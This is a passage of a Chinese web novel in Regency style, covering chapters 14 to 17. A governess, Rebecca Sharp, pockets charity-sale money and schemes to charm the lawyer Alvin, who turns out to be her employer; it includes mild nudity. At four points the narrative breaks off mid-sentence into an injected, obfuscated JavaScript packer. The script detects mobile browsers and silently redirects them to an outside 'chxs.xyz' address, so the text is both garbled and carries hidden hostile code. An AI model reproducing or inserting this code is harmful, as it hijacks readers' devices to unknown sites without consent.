人类，不，男人想入非非的能力，那个不能言说的器官，真是可怕。 他觉得自己都不是自己了，好像被什么东西支配了，不然他绝不会因为无意间看到某个下等人的身体，而脸色发红。 阿尔文转过头，他要夺回大脑对身体的控制权。 然而不是所有人，都有他这样与本能搏斗的可嘉精神，那个受伤坐在一边但无人关注的车夫，正聚精会神地看着她。 “皮尔森！” 车夫突然被点名，一转脸看到主人怒气冲冲，满脸涨红，还以为自己犯下什么滔天大罪，把主人气得脸色变成这样，急忙开始思考自己今天都干了什么。 淋湿了马车的内壁，从马车上掉下来不能赶车，导致主人不得不花费五英镑找人赶车…… 好像反的错误确实很多，自己不会要被开除吧？ “管好你的眼睛。” 皮尔森松口气，这个要求也太简单了。那位小姐长得挺漂亮，但人又瘦又矮，本来也没什么值得看的。 瑞蓓卡没驾驶过马车，但她足够聪明，从前在平克顿女校习得的骑术，也发挥了一定作用。 在车夫的教导下，她很快上手。 由于身高不够，坐在车夫的位置挥鞭子，非常不舒服，她必须稍微站起来，往前倾，才能确保鞭子打在马匹身上。 这样挥过几鞭后，她挪到距离最近的马上，用鞭子驱赶更前面的马。 很快，这些良种马，带着马车驶出泥坑，她还以为会更费劲来着，没想到竟然这么简单。 忽略她完全被淋湿拧在身上的裙子，可怜的鞋，以及被她得罪透的阿尔文先生，这五英镑来得真是容易！ 阿尔文绕过泥坑，登上马车，皮尔森跟在他身后，同样也是浑身湿透，他捂着胳膊，似乎不知道该何去何从。 实际上，所有人都处在这样的处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918373|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境。 瑞蓓卡的衣服已经全部淋湿，裙摆还都是泥浆，无法再走到下一个城镇。 能跟着马车直接回去，是最好的选择，但她还没告诉阿尔文，自己的身份，也不想这么快面对这件事。 “先生，我们是绕回去，还是接着往下走？如果继续走，恐怕有些困难，皮尔森现在是这幅样子。”另一个车夫说。 阿尔文很纠结，他不想回到那个什么顿，如果继续往下一个镇子走，皮尔森无法驾车，他还是需要请求那个小个子女人的帮助。 光是把马弄出泥坑，她都敢要五镑，让她驾马前往下一个镇子，裹着湿漉漉的衣服，淋更长时间的雨，她估计得问他要十镑。 万一第二天她发烧感冒，说不定，还会借这件事赖上他，更加狮子大开口。 反复衡量之后，他说：“先回去，找找村子里有没有医生。” 旅馆老板看到两人一起回来，后面还跟着个受伤的家伙，立刻喜笑颜开：“我说你们都得回来吧，你们还不信我的话，非要出去碰壁，弄成现在这样，全身都是泥。” 阿尔文身上的泥浆稍微干了一些，但那些干泥巴黏在裤子上鞋子里，吸附在皮肤上，更不好受。 瑞蓓卡则是湿哒哒的，急切盼望着到房间里，脱下湿衣服。 听到旅馆老板的话，瑞蓓卡冷笑一声：“你当然知道，我看这个坑压根就是你挖的吧？好端端的石子路上，怎么能凭空冒出这么大的吭？” 她全身湿透，情绪激动地说几句话，便会抖下来一大片水。 轻薄的纱裙和棉质衬裙，大有贴在身上的趋势，尽管她时不时会扯扯裙子，还是暴露了部分身材曲线。 水珠再次洒到他的脸上，那股香味已经很淡了，更多的是雨水的味道。 阿尔文脑子里乱乱的，完全没听进去她在说什么，他该怎样才能让她发现裙子的问题？对待下等人不需要尊重，但他也不能直接说出来吧？ “小姐，你这样说有什么证据？你要是喜欢胡乱说话，就别住了，出去淋雨吧！” 旅馆老板的粗声粗气，让他回过神来，阿尔文冷冷地看着他：“你礼貌一点，怎么能这么对待女士？” 瑞蓓卡很想笑，这个完全没有绅士风度的人，竟然能说出这种话？ 看样子，不用再担心刚刚得罪他的事了，她稍微示好，就能将一切抹平，甚至再加把劲的话…… 他突然将她从头到脚扫视一遍，那赤裸裸地眼神，仿佛在扒掉她身上的衣服，她感到很不适，狠狠地瞪向他。 阿尔文也很气恼地看着她，仿佛她做错了什么，引起他的怒火。 明明是他突然那么冒犯…… 下一刻，她突然明白，他为什么突然这样看她。 她收起怒容，拽过一把椅子，施施然坐下：“我是下等人，您是上等人，请您先办理入住吧，我在这里候着。” 哼，她不怕被人看，他不想让其他人看见她浑身湿透的样子，那就把他的外套给她啊。 为什么他一副纠结别扭的表情，怎么，对一个下等人产生情愫，很难面对是吗？ 15. 第 15 章 阿尔文发现，这个女人真的很擅长三言两语将人置于进退两难的境地。 既然她提到阶级，那他势必不能对一个下等人谦让，允许她在排在自己前面订房间入住。 她那么精明，不可能不知道他为什么那样看她。 他已经提示过她了，她却满不在乎往那一坐，还说这些话，是想干什么？ 大发善心，让没见过漂亮女人身体的店老板，开开眼吗？ “要三间房。”他才不要管她。 “你等等，我找找钥匙。” 店老板慢吞吞地翻着柜台上的东西，眼神时不时便往她身上飘，刚刚拿淋雨威胁她时的凶恶，早在跟随他视线，打量过她的身体后消失，变成对她的色欲熏心，和对他的应付糊弄。 阿尔文往左边靠靠，试图挡住她，店老板直接起身走到最左边的橱柜，边假装找钥匙边瞅她。 实在忍不住，他伸手敲敲柜台。 “怎么啦？别急嘛，我这儿平时客人不多，突然找三把钥匙，还真挺难的。” 店老板的手中只有一把钥匙：“哎，另外两把钥匙在哪儿呢？” 阿尔文走过去：“是另外三把钥匙，我要四间房，那个小姐的房费我也出了。” 趁着店老板没反应过来，他将那枚钥匙夺走，转身丢给她。 “这是感谢。” 瑞蓓卡接住钥匙，一时间不知该高兴，还是不高兴。 他的反应并不像她期待的那样，不过能省笔住宿费，她也就没那么遗憾了。 “卡娜，带这个小姐上楼！”店老板嚎道。 她的房间是二楼靠近楼梯的第一间。 刚刚打开门，走进那间狭小的屋子，楼梯便响起阿尔文的脚步声，估计是她一离开，老板就找到了钥匙。 “有热水吗？” “有，但是不多，如果你想洗澡，大概是不够，我们也没有向客人提供的浴盆。” “那就用打水的木桶，端盆热水，再拿些毛巾上来。” 女佣退出去，帮她关上门，紧接着，隔壁几个房间被打开，传来他的抱怨声：“你们难道从不给房间通风吗？怎么这么……” 瑞蓓卡坐在扶手椅上，小心翼翼地脱下满是淤泥木质套鞋，精美的缎面高跟鞋，糊满棕色的泥水，已经看不出缎面的图案了。 明知会是如此，但她在看到鞋子面目全非的样子时，还是忍不住心疼。 脱掉缎面高跟鞋，她又去检查丝袜有没有勾丝。 还好，丝袜没有问题，只是清洗的时候要小心。 “热水来了——” “麻烦你等一会儿。” 她快速脱下一层层的湿衣服，然后又一层层地穿上，只有里层的衬裙没穿，拿在手里。 打开门，看着女佣把木桶放下，她从手袋里掏出几个便士，连同衬裙一起交给女佣：“你帮我把衣服洗出来，要快一点，我没带其他衣服，明天就要穿。” 女佣没想到还有外快可赚，惊喜地拿过衣服和钱，往她身上的湿衣服上瞟：“小姐，你身上的衣服要不要洗？如果要洗的话，我可以借你穿一晚我的睡衣……” 瑞蓓卡想都没想地拒绝了。 印度薄纱和开司米外套村妇哪里洗得明白？否则还要伦敦的那些洗衣店干什么？ 也就只有棉质的衬裙，她能放心地交给她。 女佣离开后，瑞蓓卡打开箱子，里面零零散散地放着不少硬币，还有她摘下来的项链，以及一枚散发璀璨光芒的玫瑰造型的胸针。 擦洗完身体后，她钻进被子里，计算起今天的收入。 她在温彻斯特侯爵夫人的义卖会上，卖掉一整箱布克德太太提供的布料，赚到的钱，本该全部捐赠给济贫院，但现在，一部分钱整躺在她的箱子里。 谁叫布克德太太牙疼不能亲自来盯着呢？ 她把价格提高了三分之一，多出来的那一部分，被她悄悄放进她在外套里缝的口袋里，后来又装进箱子里。 这一举动的灵感，来自于诺斯菲尔德的厨娘，瑞蓓卡不止一次地看见她往裙子里藏名贵香料，这才知道虽然现在的女装都没有口袋，但可以缝几个暗口袋。 两英镑、两英镑三先令、三英镑、三英镑五先令…… 她粗略地数了数，这次义卖会为她赚到差不多六七镑，再加上阿尔文给她的支票。 今天一天，她就赚了十镑还要多，她在诺斯菲尔德当家庭教师的年薪，也不过三十镑。 果然还是上流社会机会多。 她又拿起那枚胸针，在烛火下仔细看了看，这是侯爵夫人赠给她的，以奖励她对本次义卖做出的贡献。 原本准备给最快卖掉东西的人的奖品，是一条紫水晶项链，夫人觉得和她的年龄不搭，临时改换成这枚玫瑰钻石胸针，据说是侯爵夫人年少时的爱物。 胸针的背面，有温彻斯特侯爵的族徽，下面刻着：1814年，纪念为汉普郡济贫院举办的义卖会，保莱夫人赠。 这个东西大概能值几十镑，但她明白，金钱只是玫瑰胸针最不起眼的价值，其背后代表人脉关系，才真正值得她看重。 第二天，她睡到快十一点才起来。 晾在椅背上的裙子，已经干了，外套还有些潮。 她穿上裙子，裹上外套，准备下楼吃饭，顺便找女佣把衬裙拿回来，刚巧这时，传来敲门声。 “小姐，你醒了吗？” 瑞蓓卡打开门，女佣走进来，将一份早餐放到桌子上：“你醒的还真晚呢，我都来敲过两次门了，隔壁那位先生早就吃完饭出去了。” 看着桌子上的吐司煎蛋焗豆子和牛奶，她掏出一个便士：“再给我拿一杯牛奶，我比较喜欢喝牛奶。另外再拿点儿水来，我要漱口。” “好，正好你的裙子也干了。” 很快，女佣把所有东西都拿过来，她关上门，喝下半杯牛奶，将水倒进剩下的牛奶里，稀释混匀，走到窗边，小心控制着杯子的倾斜度，一点儿一点儿地往窗帘上淋。 虽然她没付钱，但昨晚老板的坐地起价，还有威胁她，要让她去淋雨这些事，她可都记得清清楚楚。 这点儿小小的报复，算是她给老板的纪念。 窗子正对着旅馆后院的马厩，崎岖不平的石板上，有不少大雨留下的清亮的水坑，阿尔文站在马厩外，皱着眉毛，训斥身边的车夫。 在他不远处的马厩里，有匹黑马格外萎靡，似乎是昨晚就有些生病征兆的莉莉丝，价值二百英镑三先令的马，比她的身价都高。 他的眼下带着一圈乌黑，可想而知是昨晚没睡好。 像他那种生来就高人一等的人，从来都是顺风顺水，昨晚的经历估计是他目前遇到的最大挫折。 他肯定住不惯这种小旅馆，窄小昏暗的房间、挥之不去的灰尘味、被烟烫坏的布艺扶手椅，还有难吃的早饭。 就这种待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918374|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇，老板还敢收每间房两先令，她弄点儿让他寻不到源头的臭味报复他，还是少的。 更别说，昨晚那个泥坑，很有可能就是他挖的。如果那个坑是天然存在的，村民绝不可能放任不管，村子里那么多牲畜，一旦在雨天随便掉进去个什么动物，损失都令人咂舌。 “你昨晚把马牵进来的时候，难道没看见莉莉丝受伤了吗？” “我不知道，马都是皮尔森检查的。” “皮尔森，皮尔森，怎么次次都是皮尔森？你别觉得把事情都推到皮尔森身上，能全身而退，当然皮尔森我也会……” 正说着，阿尔文瞥见水坑倒影里旅馆的前楼，忽然有个女人走到窗边，往窗帘上倒牛奶。 她在干什么？是在报复旅馆老板吗？往窗帘上倒牛奶也能叫报复？ 他突然笑起来，果然，下等人的愤怒、仇恨，都与他们本身一样不值一提，他们的报复手段也是让人不痛不痒。 忽然窗边的女人注意到他，朝他露出一个大大的笑容。 阿尔文这才注意到，自己的目光已经从水的倒影，挪到窗边的女人，正与她四目而对。 “这件事以后再说，现在我有封信，你赶快骑马送到当地治安官手中，我已经打听过，顺着昨晚那条路走，他住在两英里外的镇子上。”他把信交给车夫。 昨夜，阿尔文睡得很差，他一闭上眼，就会想到今天自己的损失，那个女人固然可恨，但一切事情的根源都来自旅馆老板。 八先令的房费、付给那个女人的五英镑、他沾满泥水的靴子和裤子、给受伤车夫请医生的钱…… 他越想越生气，越想越睡不着，天刚蒙蒙亮，他便从床上跳起来，给当地治安官写了封信，要求对方调查旅馆老板坐地起价和路上的大坑的事，否则他将起诉旅馆老板，还要投诉治安官。 他敢发誓，那个泥坑绝对和他有关，即使无关，老板也依靠泥坑获得了不少好处，他也没冤枉人。 在信的落款处，他附上自己的身份：伦敦克林福德律师事务所律师，汉普郡罗姆塞的阿尔文·布克德。 其实如果可能，他想附上更多，譬如布克德爵士重孙、达勒姆伯爵外孙、科沃大法官外甥之类的东西，来彰显身份，但最后，他还是只写了最重要的两条。 这个地方再穷乡僻壤，也在汉普郡范围内，治安官不可能没听说过布克德家，相信他不必多此一举。 瑞蓓卡往窗帘上倒着牛奶，忽看到阿尔文抬起头，笑着向自己，于是下意识地微笑。 她相信自己的表情很友好，甚至是讨好。 可不知道为什么，他看到她笑之后，脸上的笑容立刻垮掉，继续低下头和车夫说话。 她觉得没意思，走回到屋里。 洁白的衬裙，被放在一个棕色托盘上，躺在桌子上。 她拿起裙子，准备穿上，忽听到隔壁房间，那个受伤的车夫打开门出去。 阿尔文和另一个车夫在后院，这个车夫也出去了，她忽然冒出一个好想法。 放下裙子，将它重新叠好，放在托盘里，瑞蓓卡打开门，根据昨晚阿尔文说话声音的方向，走到他的门前。 拜托拜托，一定不要锁门，她握住门把手，轻轻往右拧。 咔嚓，门开了。 瑞蓓卡十分惊喜，端着盛放裙子的盘子走进去，她就知道像他这种人住惯了套房，习惯与佣人同住，让他们看屋子，出门从不锁门。 16. 第 16 章 阿尔文的房间，和她房间的格局，没什么区别，最大的区别是，活动空间相对狭小——他的行李箱太多了，还有一个箱子在地上摊开，占据了很大空间。 瑞蓓卡不敢多看，将衬裙和托盘，放到桌子上，赶紧离开。 她回到自己房间，等着阿尔文回来。 他看到裙子，应该能猜出是她的东西，给她送过来吧？到时候，她就假装是女佣送错了房间。 既然笑容没能发挥作用，那她送给他个大礼物。 阿尔文·布克德明显是喜欢她的，趁着他还没回到诺斯菲尔德，还不知道她的身份，她一定要抓住现在的宝贵时间，让他更喜欢她。 这样一来，等他知道自己是被自己的家庭教师敲诈，一定会生气，但不会那么生气，他喜欢她呢。 等了将近一个钟头，瑞蓓卡才听到他姗姗来迟的声音，紧接着旅馆前的路上，传来一阵急促的马蹄声，然后便是人群乱哄哄的声音。 有人噔噔噔地快速跑上楼，还有一个步调较缓慢的声音，跟在他身后。 某个房间的门被轻扣两下。 “先生，信已经送到，治安官伊凡先生很重视这件事，他想见您一面，此刻正在门外。” 派车夫给治安官送信后，阿尔文在村子里转了一圈，出于职业习惯，搜寻能够佐证自己判断的信息。 多多少少知道些关于泥坑的来由后，他准备等回到诺斯菲尔德，再给治安官写封信，附上这些信息。 没想到，治安官竟然亲自来了。 治安官亲自上门，不足为奇，毕竟他告诉了对方他的身份，但谁能告诉他，那桌子上的裙子是怎么回事？ 看到桌子上的裙子，阿尔文差点以为自己走错房间。 强忍住拒绝与治安官见面的冲动，他平静地说：“请伊凡先生稍后片刻。” 说完，他立刻拿起裙子，环视整个房间。 来不及思考裙子是从哪来的，他现在只有一个念头，快点把这东西藏起来。 摊开在地上的行李箱，被他快速锁定，他几步走上前，将裙子随意塞进去，扣上箱子，然后照照镜子，理理因为刚刚大幅度动作产生的衣褶。 “请进。” 瑞蓓卡听了半天他们的对话，阿尔文竟然是个律师，她从来没听布克德太太提起过。 好像，布克德太太一直很少提起他？ 以布克德太太的性格脾气，和对蕾妮的忽视，估计她对待儿子，也不会多么上心。 治安官和阿尔文，三言两语，便给旅馆老板定下了罪名。 什么程序都没走，作为罪犯的旅馆老板本人，没有任何辩解的机会，他本人甚至可能还不知情。 “伊凡先生，多谢你，达勒姆伯爵和科沃大法官，也会知道你的帮助。” “真的吗？达勒姆伯爵，科沃大法官，也知道我？” “我将告诉他们的，有你的帮助，我不必将老板告上地方法庭，节约不少时间……” 瑞蓓卡听见阿尔文将治安官送出来，两人寒暄几句，治安官很快到一楼，找到旅馆老板，以损害他人财物为名，勒令他赔付给阿尔文五十镑，并且出钱修补路面的泥坑。 旅馆老板当即嗷嗷叫起来，说什么也不干。 正专心致志听着热闹，忽然走廊上传来一阵嘈杂的脚步声，她推开门，两个车夫提着箱子下楼，阿尔文走在后面。 阿尔文看到她时，好像有话要对她说。 最终，他看看车夫提着的某个箱子，抿抿唇，什么都没说，从她面前走过。 她立刻意识到情况不妙，跑回去收拾行李。 发生这种事情，势必不能继续在这里待着了，她毕竟也算是受害者之一，万一旅馆老板认为她参与了对他的定罪，回过头来想找阿尔文，找不到，肯定会拿她撒气。 趁着治安官还在这里，老板不敢怎么样，她得赶快走。 清点行李时，她想起自己的衬裙，于是跑到阿尔文的房间。 他离开时没有关门，还没进门，她就看到桌子上只剩下一个托盘，裙子不见了！ 见鬼了，真见鬼了。 她打开衣柜，里面也是像托盘一样，空空如也，她跑到床边，掀起被子枕头，撤掉被单，还是什么都没有！ 瑞蓓卡坐在床上，绞尽脑汁地思考，这到底是个什么情况。 从阿尔文把治安官弄来这一点看，他的心胸不算开阔，会不会他还因为那五英镑的事记恨她？ 她腾地站起来，俯下身子，搜查满是灰尘的床底，然后又跑到窗户那儿，看自己的裙子是不是被丢到布满小水坑的石板路上。 结果，还是一无所获。 她想不明白，既然哪里都没有她的裙子，难不成裙子被他带走了？ 可为什么要带走她的裙子呢？ 喜欢她？ 这不对吧？ 他好像还没那么喜欢她，刚才见到她，他什么都没说，直到现在他都没问过她的名字。 难道他是变态？ 瑞蓓卡听人说过，上流社会的人都有点儿怪癖，人前衣冠楚楚，背后道德败坏精神癫狂，不在少数，有一类人，就喜欢收集他人较隐秘的物品。 阿尔文会不会是这一类人？ 如果是的话，那可太好啦！她正愁该如何拿下他，一旦回到诺斯菲尔德，两人存在的主仆关系，使他们的阶级距离比现在更远，现在她知道了他的秘密，甚至算是有了他的把柄，简直胜券在握！ 阿尔文骑马回到罗姆塞。 布克德太太看到突然回家的儿子，有些惊讶，又有些失落，忍不住往他身后看，看是否还有人一起回来。 “你在找什么？” 布克德太太叹口气，坐在沙发上拿手帕扇扇脸。 “我在等我的小蓓姬回来啊——” “什么蓓姬？”他皱起眉毛。 “哦！你还不知道！”布克德太太激动地丢掉手帕，坐直身子说，“蓓姬是新来的家庭教师，也是我们的远亲，我告诉你，她有双绿眼睛，漂亮的绿眼睛！在我所拥有的朋友里，包括仆人，还没有那种颜色的……” “绿眼睛？”阿尔文打断她，心中感到一丝古怪，难道最近绿眼睛的女人泛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918375|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滥成灾，他刚刚与绿眼睛女人分别，怎么还有绿眼睛？ 布克德太太没意识到他语气的不对劲，继续兴奋地说：“对对，而且还不是那种常见的绿色，她的眼睛颜色很浓，有时候颜色看起来像猫眼石……” “布朗特（blunt钝的）小姐长什么样子？” “浅棕色头发，有点矮，眼睛很大，很有魅力，说起来，她不仅眼睛有点像猫眼石，人也有点像猫，小小的，但是跳起舞来很轻盈灵活，特纳将军才跟她跳过两次舞，就跟我夸赞个不停……” 喋喋不休说半天，布克德太太才注意到儿子的古怪的神色。 “是不是眼镜卡得眼眶痛？我真不理解你为什么要戴这个单片眼镜，现在流行小巧的手持放大镜，你近视又不严重，干嘛时时刻刻戴着这个东西……” 没心情回答母亲，他吩咐女管家：“马车还在一个叫什么顿的地方，车夫记得路，你派人去把马车和皮尔森带回来。还有，登报找一位新车夫，皮尔森我准备辞掉他。” “对，夏普小姐虽然还没回来，但是你回来了，你快来帮我看看，保莱夫人的信我应该怎么回复，她想邀请我加入温彻斯特市济贫院的董事会，随信还附来几张合同。” “夏普小姐？”阿尔文莫名其妙想到旅馆里那个女人，这个锋利的姓氏，似乎很适合她。 但是，他记得她的箱子，上面钉着“R&S”，不是“B&S”。 刚刚听布克德太太描述她的长相，他还想着两人的外貌高度重合，极有可能是同一人。 原来不是她。 他就知道哪里有这么巧的事呢…… “对啊，瑞蓓卡·夏普，新来的家庭教师，哪有什么布朗特小姐！” 布克德太太丝毫没注意到他是怎么知道家庭教师的姓，还把它记错的，笑着抱怨起他的怪毛病。 “以前你大学里的教授，见到我总夸你过目不忘，事务所的克林福德先生也说，你几乎能记得卷宗里的所有细节，有几个人知道你对很多事情，即使听一千遍，看到一千遍，也还是一点儿也不记得。” “那些都是不重要的人，不重要的事，没有必要记忆，我的脑子只对重要的东西过目不忘。”阿尔文慢条斯理地说，心里却掀起惊天巨浪。 瑞蓓卡·夏普，R&S，竟然真的是她，看样子上帝都希望他能报复成功。 “是，是，你只记重要的事，脑子里全是正事，大事。” 阿尔文笑着点点头。 他有些迫不及待地想知道，当她知道自己得罪的人，是她工作所在的庄园的主人，她会有怎样的反应。 后悔向他索要那五英镑吗？ 不过，他好像记得那天付给她支票时，她盯着支票愣了一会儿，难道她已经知道他的身份？他的嘴角立刻扯下去。 更不对，布克德太太估计没向她提起过自己的名字，大概她以为他只是布克德家族的远亲吧。 如果她知道他的身份，不可能有胆量收下支票，而且还是那副态度。 她肯定不知道。 阿尔文的心情再次变得愉快。 17. 第 17 章 瑞蓓卡回到诺斯菲尔德时，已经是下午。 回来的路上，她在脑海里模拟过无数次与阿尔文再见时的场景，猜测过无数种布克德太太看出她对阿尔文献殷勤时的反应。 然而在消失一整天之后，回到庄园，迎接她的只有蕾妮。 罗姆塞的商店来了新货，布克德太太刚刚乘着马车，去镇上购物，阿尔文带着一大堆仆从，正在外面巡视林场，最近经常有人跑到诺斯菲尔德偷猎，或是偷木材。 她有些失望，原本她还想让布克德太太看看她外裙上的泥浆，看看她有多狼狈，从而彰显朗弗罗夫人和小姐将她抛弃的行为，有多恶劣。 拿捏不准布克德太太什么时候回来，她不可能一直穿着这条脏裙子，等布克德太太回来。 昨夜在伊文顿的小旅馆里，她没洗成澡，总觉得头发上有股难闻的雨水味，于是吩咐女佣打水，然后上了三楼。 三楼的走廊很长很暗，只在尽头有两个窗子。 瑞蓓卡的房间位置很好，位于整层楼最中间的位置，那里还有布克德太太的房间，已故的布克德先生的房间，差不多只有本庄园的主人，才够资格住在那片位置。 原本她的房间在二楼，自从那晚，她以拿书为借口闯入宾客们的所在地，并且成功得到部分人的认可后，布克德太太就让她搬到现在的房间。 紧挨着蕾妮的卧室，与阿尔文的房间正对着，这个房间曾是布克德太太的弟弟，利安德尔少校习惯住着的房间。 据女管家詹金森太太说，利安德尔少校几乎在这里度过整个童年，和部分的青年时光。 她搬进去的时候，房间里还存放着利安德尔少校的很多东西，仿佛他离开这里的时候非常着急，很多东西都没来得及带走。 布克德太太似乎不知道这件事，她下令叫她搬进去的时候，半句都没提里面的东西该如何处理。 佣人们也毫不知情，他们打扫房间时，大概从没敢拉开过那些抽屉。 她也是在收拾自己的东西时，才发现很多抽屉里，还保留着上任主人的物品。 等待女佣送水上楼上，她随手翻出一只怀表把玩。 怀表是白金的，上面镶着惠特比黑玉①，外面围着一圈女人的发辫，与表盘相对的盖子内部，有张漂亮女人的画像。 画像中的女人身边围着两个小天使，很明显，这只怀表是表示悼念的物品。 除了怀表这类东西，屋里还有一个大书架，摆放着很多书，瑞蓓卡感到很惊奇，在她的印象中，军人爱读书的并不多。 特别是从房间里利安德尔少校的画像来看，他一点也不像读书人，布克德太太也提过，她的这个最小的弟弟，曾经被多所大学退学。 “夏普小姐，您的水准备好了。”门外的声音打断她的思路。 阿尔文骑马带人巡视完林场，刚刚驱马走出树林，便看到一辆公共马车从马路上扬长而去。 马车的顶上坐满了人，有个穿白裙子的小个子女人，头发被风吹得乱糟糟的，几次伸手想去拢拢头发，抬起手又快速把手按回到裙子上。 他一下子想起箱子里的那条衬裙。 “驾——” 回到庄园，詹金森太太瘦长的脸上，露出忧愁的模样：“阿尔文先生，夏普小姐回来了，但她的情况似乎很糟糕，她说朗弗罗小姐把她丢下了。不知道布克德太太知道这件事后，会不会影响布克德家与朗弗罗家的友情……” “你不要跟我说这些，我无意干涉母亲对待朗弗罗家的态度。” 阿尔文很不解。自从老勋爵去世，朗弗罗家的情况一天不如一天，什么时候他母亲做事，还要看朗弗罗家的脸色？ “前几日，太太请人吃饭，朗弗罗先生的言语中，透露出想参加这次选举的意思，朗弗罗先生的一位表舅，想要提携他，前提是他需得先成为国会议员。” 罗姆塞是个很大的镇子，在下议院中占据两个席位，他父亲买下诺斯菲尔德庄园时，也有过从政的打算，只可惜两只个席位都被人占了。 朗弗罗家在这片土地上经营了两百年，即使如今落魄，仍有余威。 老朗弗罗勋爵一直占据着议员的席位，而另一个议员是特纳将军。 老勋爵去世后，朗弗罗先生继承准男爵封号，他没有借助父亲的威名，参加选举，却巴结布克德太太，成为牧师。 由此一来，另一个下议院席位，一直不断被人们争抢，差不多每年都是不同的人当选。 朗弗罗先生之所以不参加选举，不是因为他不爱慕名利，喜欢传道，而是因为当国会议员，是件很耗费钱财的事情。 这个表舅的“提携”，阿尔文猜测，很大可能是指金钱上的帮助，毕竟他从没听说过朗弗罗先生有什么当权的亲戚。 “如果母亲因此大发雷霆，我会适当地劝她，不过我并不认为朗弗罗先生能成为议员。” 怀着一些心事，阿尔文短暂忘记瑞蓓卡的事情，他觉得自己有必要去查查朗弗罗先生口中的表舅。 既然是准男爵的亲眷，《名流录》上大概有记载他的身份。 《名流录》、《名流录》……这本书放在哪儿来着？好像不是在藏书室里。 藏书室在一楼，阿尔文的房间在三楼，嫌弃每次下楼拿书麻烦，他在自己的房间里摆放了许多书柜。 慢慢的，他房间的书柜也放不下了，刚巧利安德尔因为那件事，离开了英格兰，对面的房间空出来，他便把一部分书放到那里。 《名流录》这类没那么常看的书，似乎是放在那里？ 瑞蓓卡在水里泡了很久，直到她觉得水开始变凉，才从水里站起来。 哗啦一下，水从她的肩膀淌到胸部、大腿，而后再次没入水中。 水声消失，卧室的大门突然毫无预兆地打开，她完全来不及躲避，看清楚来者后，她下意识想拿手遮挡的动作，被大脑强势地阻截。 就这样，她浑身赤裸，双手垂在腿侧，面对着门口的人。 阿尔文进门时，一副若有所思的样子，脸色有些凝重，接着，他那双颜色稍显淡漠无情的眼睛，有几秒钟， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918376|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底变成了玻璃珠那样呆滞，像是玩偶眼眶中永远不会转动的眼珠，只能盯着一个方向看——她的方向。 瑞蓓卡站在原地，与他僵硬的对视，她感到自己的脸有些发热。 她是感到有些羞耻的，但事情已经发生，她顾不上羞耻，满脑子只想着该如何因势导利，让形式更有利于她。 尖叫？躲到浴缸里？让他滚出去？这些反应好像有点太普通。 邀请他来一起洗澡？什么东西，这太夸张了，他一定会很鄙夷。 僵持几秒钟后，她慢慢的缩回到浴缸里，胳膊撑在浴缸边沿上。 “好巧，你住这里吗？” 突然之间，他从刚刚那种愣神状态中恢复，睫毛剧烈颤动，皮肤快速爬上一层淡红色。 像是突然意识到发生了什么一样，他受惊地后退几步，身体有些晃动，顾不上站稳，立刻逃一般地打开门离开。 砰得一声，门代替两人承担了此次相见的代价，发出沉重的悲鸣。 走出房间，阿尔文重重地喘了两口气。 看着两边长长的走廊，一时间，他竟不知道自己该往哪走，该去干什么。 设想过很多种与她再见的方式，也想过她发现自己身份后的悔不当初，唯独没想过会以这样的方式再次与她见面！ 想到刚才的场景，他立刻向左右望去，发现走廊里只有他一个人，才意识到他现在不该继续待在她的门口。 那他该干嘛呢？ 对，他是上楼来找书的，刚才什么都没发生，她一个女人，都没什么反应，他还纠结什么呢？他该去接着找他的书。 没有《名流录》，卧室的书架上应该还有其他的替代品，可以去找找看。 抱着这种想法，他推开自己卧室的门，慢慢地走到床边，坐下，身体直直地往床上一倒。 如果阿尔文的大脑还能正常运转，他大概会发现，自己这种状态，就是传说中的失魂落魄。 可惜他的大脑只有小部分能运转，那是极小的一部分，叫做瑞蓓卡·夏普。 他躺在床上，一股植物的芬芳气息，将他包围。 那是一股很熟悉的味道，来自枕头里的干花，但是现在他无论如何都想不起来，这种植物叫什么。 他僵硬地坐起身，拽过枕头，很粗暴地拆下枕套，枕芯有些透的细白布，隐隐约约露出布料下的淡紫色。 是薰衣草。 